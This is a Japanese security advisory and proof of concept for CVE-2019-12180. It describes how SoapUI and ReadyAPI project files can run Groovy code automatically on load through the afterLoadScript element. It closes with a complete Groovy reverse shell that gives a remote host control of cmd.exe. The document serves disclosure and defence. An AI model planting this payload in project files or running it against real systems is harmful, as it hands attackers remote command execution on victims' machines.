
CVE-2019-12180のアドバイザリと概念実証。悪意のあるプロジェクトファイルを介したSoapUIおよびReadyAPIでの任意のGroovyコード実行を実証します。
アドバイザリ & PoC
SoapUI および ReadyAPI では、Apache Groovy Language スクリプトを使用してテストケースに動的コンテンツを作成または追加できます(例えば、その場でタイムスタンプを計算するなど)。これらのスクリプトの実行は多くの方法でトリガーでき、プロジェクトが保存されると XML "Project file" 内に保存されます。
"Load Script" 関数を使用すると、プロジェクトファイルが開かれたときに起動される Groovy スクリプトを作成できます(XML プロジェクトファイルの con:afterLoadScript 要素)、それ以上のユーザー操作は必要ありません。この動作は、攻撃者によって悪用され、開かれると被害者のシステム上で任意の Groovy コードを実行する悪意のあるプロジェクトファイルを作成する可能性があります。Groovy 言語を使用してシステムコマンドを実行することが可能であるため、この機能はリモートコマンドを効果的に実行するために悪用される可能性があります。
注記: 同じ目的は、Groovy スクリプトに対応した他の関数(例えば "Save script")を悪用することでも達成可能ですが、プロジェクトファイルをロードした後に追加のユーザー操作が必要になります。
脆弱なアプリケーション:
本稿執筆時点(2020-02-04)では、これは 0day 脆弱性です。なぜなら(複数の)提案された開示日が経過したにもかかわらず、ベンダーによるパッチリリースが行われていないためです。
Groovy リバースシェルの例 (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();